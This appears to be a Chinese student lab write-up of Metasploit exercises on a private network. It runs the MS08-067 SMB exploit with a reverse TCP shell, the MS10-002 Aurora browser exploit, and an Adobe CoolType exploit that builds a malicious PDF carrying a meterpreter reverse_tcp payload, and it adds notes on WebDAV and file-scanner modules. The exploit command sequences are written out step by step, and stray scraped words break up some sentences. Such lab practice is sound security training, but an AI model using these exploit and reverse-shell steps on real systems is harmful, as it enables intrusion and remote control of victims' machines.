msf > search ms08_067_netapi //查看能够用的工具 [!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption msf exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.154.129 msf exploit(windows/smb/ms08_067_netapi) > set LPORT 5203 msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.154.144 msf exploit(windows/smb/ms08_067_netapi) > set RPORT 445 //该端口号只能使用445或139,是对应漏洞的固定端口 msf exploit(windows/smb/ms08_067_netapi) > set target 0 msf exploit(windows/smb/ms08_067_netapi) > exploit
一开始反复出现这个错误web
Exploit failed: No encoders encoded the buffer successfully
重启攻击机,并新建一个xp靶机,回连成功。
shell
出现如下错误:
windows
能够尝试关闭防火墙解决。api
可使用show options
查看设置参数的方法。浏览器
msf exploit(windows/browser/ms10_002_aurora) > show options Module options (exploit/windows/browser/ms10_002_aurora): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Automatic
进行相应设置:session
在靶机链接到该网页后,直接进入会话sessions -i 4
dom
生成pdf:tcp
msf exploit(windows/browser/ms10_002_aurora) > search adobe_cooltype_sing msf exploit(windows/browser/ms10_002_aurora) > use exploit/windows/fileformat/adobe_cooltype_sing msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp msf exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 192.168.154.129 msf exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 5203 msf exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME 20155203dkx.pdf msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit [*] Creating '20155203dkx.pdf' file... [+] 20155203dkx.pdf stored at /root/.msf4/local/20155203dkx.pdf
生成的文件须要在这里打开显示隐藏文件夹:
工具
使用监听模块回连:
ui
不太明白这个是干吗的原本觉得是一个漏洞扫描,直接打开show options查看了参数,设置了RHOSTS,这里靶机的地址能够是多个,可是我设置的时候出错了,实践代表必须是多个同一网段的主机地址,以后显示成功,这是表示webdav是开启的。
scanner/http/prev_dir_same_name_file
模块这个模块用来检索匹配目标主机的指定路径下的文件。
如下是有关它的功能的描述:
该模块识别第一个父目录中与给定目录路径具备相同名称的文件。 示例:PATH为Test / backup / files /将查找Test路径下文件/backup/files.ext,.ext为设定的文件类型。
如下结果说明扫描成功。
实战的话应该要从具体的靶机环境考虑,不能只依赖msf这个工具。
msf是一个比较全面的工具,从此次实验中能够看出msf能作的渗透攻击仍是很局限的,必须使用英文版的很是“原始”的xp。可是能从各类角度攻击成功,很是有成就感
exploit是用来发起攻击的载体。 payload是执行攻击的代码。 encode是攻击代码的编码方式。